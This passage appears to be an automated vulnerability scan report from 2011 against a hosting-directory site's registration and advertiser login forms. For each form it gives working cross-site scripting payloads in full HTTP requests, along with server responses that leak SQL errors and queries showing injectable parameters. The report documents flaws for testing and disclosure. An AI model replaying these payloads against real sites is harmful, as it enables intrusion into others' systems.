<option value='325A5101EE356073E9D2E51936579955C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='325A5101EE356073276B7EC4A70EDB5AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='325A5101EE356073A728FB7C9EE9F5316F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='325A5101EE356073F61C701439D4B677C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='325A5101EE356073549DCF982B336CE26F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='325A5101EE356073AC50F26604A970C5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='325A5101EE35607396AA1FC105019A8DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='325A5101EE35607365797FDCD08390C3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='325A5101EE35607370D441A688D8622DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='325A5101EE356073A1EFAE474B59B836C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='325A5101EE356073AFC128C0687DD285C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='325A5101EE3560732DDDF11256DA73686F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='325A5101EE356073136053939482E1116F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='325A5101EE356073F27FC830A245DDDD6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
account_type POST 1
address POST 3
address2 POST 3
B1 POST Create An Account!
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_country POST 240
bill_phone POST 3
bill_province POST 3
bill_state POST 3
bill_zip POST 3
card_number POST 3
card_type POST 1
city POST 3
company_name POST Smith
copy_from_cont POST 1
country POST 240
deposit POST 3
e_mail POST netsparker@example.com
expire_date POST 3
first_name POST Smith
last_name POST Smith
owner_first_name POST Smith
owner_last_name POST Smith
password POST 3
phone POST 3
promo_code POST 3
province POST 3
retype_e_mail POST netsparker@example.com
retype_password POST 3
state POST 3
zip POST '"--></style></script><script>alert(0x001D16)</script>

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060
Content-Length: 583
Accept-Encoding: gzip, deflate

account_type=1&address=3&address2=3&B1=Create+An+Account!&bill_address=3&bill_address2=3&bill_city=3&bill_country=240&bill_phone=3&bill_province=3&bill_state=3&bill_zip=3&card_number=3&card_type=1&city=3&company_name=Smith&copy_from_cont=1&country=240&deposit=3&e_mail=netsparker%40example.com&expire_date=3&first_name=Smith&last_name=Smith&owner_first_name=Smith&owner_last_name=Smith&password=3&phone=3&promo_code=3&province=3&retype_e_mail=netsparker%40example.com&retype_password=3&state=3&zip='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001D16)%3c%2fscript%3e

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 12:51:16 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='325A5101EE356073203CE012C4F975CDC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='325A5101EE356073A054CC733A24104A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='325A5101EE356073EFBC815A5A6C2971C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='325A5101EE35607352B223643F653864C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='325A5101EE356073E4EF56444E811DB46F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='325A5101EE3560735C149D85B3135A20C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='325A5101EE356073543655568C760C3CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='325A5101EE3560732EB16AD94C0BA2036F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='325A5101EE3560738B33BDECF778A768C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='325A5101EE356073DE4C4A6CB2CBED426F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='325A5101EE356073D99FE89143D2CC92C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='325A5101EE356073872AE9734103A54EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='325A5101EE35607395417AEFF9C2D4BAC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='325A5101EE356073ABF98BA05287710FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='325A5101EE356073A94EC486A3790506C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='325A5101EE3560737A0A5A544F0C574EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='325A5101EE3560731533C3BDC0085AD96F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='325A5101EE35607349487070294DD0066F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='325A5101EE356073DAB2B66D73557FED6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /advert_login.php

/advert_login.php CONFIRMED

http://www.hostingcatalog.com/advert_login.php

Parameters

Parameter Type Value
B1 POST Login
form_field POST 1
password POST 3
remember_both POST 1
remember_mail POST 1
temp_check POST 755
user_login POST '"--></style></script><script>alert(0x001D83)</script>

Request

POST /advert_login.php HTTP/1.1
Referer: http://www.hostingcatalog.com/advert_login.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 176
Accept-Encoding: gzip, deflate

B1=Login&form_field=1&password=3&remember_both=1&remember_mail=1&temp_check=755&user_login='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001D83)%3c%2fscript%3e

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sun, 24 Apr 2011 12:57:58 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 388


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"--></style></script><script>netsparker(0x001d83)</script>' AND active NOT IN (2' at line 1 in SQL SELECT account_id,password FROM account WHERE e_mail=''"--></style></script><script>netsparker(0x001d83)</script>' AND active NOT IN (2,3,4)
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST '"--></style></script><script>alert(0x001D84)</script>
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 540
Accept-Encoding: gzip, deflate

company_name='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001D84)%3c%2fscript%3e&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:17:08 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 338
Connection: close
Content-Type: text/html; charset=UTF-8


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"--></style></script><script>netsparker(0x001D84)</script>'' at line 1 in SQL SELECT account_id FROM account WHERE company_name=''"--></style></script><script>netsparker(0x001D84)</script>'
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST '"--></style></script><script>alert(0x001D85)</script>
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 540
Accept-Encoding: gzip, deflate

company_name=Smith&first_name='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001D85)%3c%2fscript%3e&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:17:11 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if 